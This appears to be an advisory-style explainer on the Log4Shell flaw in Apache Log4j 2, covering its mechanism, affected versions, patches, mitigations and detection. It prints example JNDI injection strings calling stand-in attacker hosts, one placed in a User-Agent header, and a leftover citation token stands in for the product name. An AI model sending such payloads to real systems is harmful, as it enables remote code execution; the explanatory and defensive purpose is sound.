🚨 CVE-2021-44228 — “Log4Shell”

A critical remote code execution vulnerability in Apache Log4j 2, widely known as Log4Shell.

📖 Table of Contents

• Overview
• Technical Details
• Severity & CVSS
• Affected Versions
• Exploitation & Impact
• Real-World Impact
• Detection
• Mitigation & Fixes
• Summary

🔎 Overview

CVE-2021-44228 is a critical RCE vulnerability in :contentReference[oaicite:0]{index=0} version 2.x (before 2.15.0), discovered in December 2021.

It allows unauthenticated remote attackers to execute arbitrary code on vulnerable systems simply by sending specially crafted input that is logged by Log4j. The flaw affects countless Java-based applications and services globally.

🧠 Technical Details

The vulnerability arises from Log4j’s handling of JNDI lookups in logged strings. An attacker can embed a malicious JNDI resource in a logged message (e.g., LDAP, DNS), like:

${jndi:ldap://attacker.com/a}

Log4j will:

1. Parse the JNDI lookup from the input
2. Perform a remote lookup to the attacker-controlled server
3. Load malicious Java code as part of the lookup process
4. Execute that code within the vulnerable application context

This lets an attacker achieve full Remote Code Execution (RCE) on affected services.

📊 Severity & CVSS

Because Log4j is used in countless libraries and applications, any system that logs untrusted data could be vulnerable.

📦 Affected Versions

The following versions of Log4j 2 are vulnerable:

> = 2.0-beta9 and < 2.15.0

Additionally, some configurations of 2.15.0 were still exploitable, so 2.16.0 and later are the safe baseline.

🛠 Remediation & Fixes

✅ Official Fixed Versions

Update to Log4j 2 versions:

2.17.1 or later

Later patches further improve safety (e.g., 2.17.2, 2.19.0, etc.).

🧱 Temporary Mitigations (if you can’t immediately patch)

If immediate upgrade isn’t possible, you can:

• Disable JNDI lookups in Log4j configuration
• Set:

log4j2.formatMsgNoLookups=true

• Remove JndiLookup class from the classpath:

zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

These steps help reduce exposure until you can update.

🔥 Exploitation & Impact

This vulnerability is extremely easy to exploit. An attacker only needs to send a crafted string (e.g., via HTTP headers, form parameters, chat messages, database fields) that gets logged by the application:

User-Agent: ${jndi:ldap://attacker.example/a}

Once logged, the application will perform a remote lookup and can be forced to execute attacker-controlled Java code.

🌍 Real-World Impact

Log4Shell had massive global impact:

• Countless public-facing services were immediately exposed
• Cloud providers, game servers, enterprise apps, IoT, web services, APIs, and more were affected
• Entire security communities mobilized to detect and patch vulnerable systems
• Exploitation was widespread, automated, and rapid

This is one of the most significant vulnerabilities in decades.

🧪 Detection

You can detect vulnerable systems by:

• Scanning logs for suspicious JNDI patterns (${jndi:)
• Using vulnerability scanners that check for Log4j versions
• Monitoring incoming traffic for exploit attempts
• Checking classpath contents for JNDI lookup support

📌 Summary

⚠️ Final Advisory

If your application or any library you use relies on Log4j 2.x, update immediately to a patched version (≥ 2.17.1) and verify that JNDI lookups are disabled or removed where possible.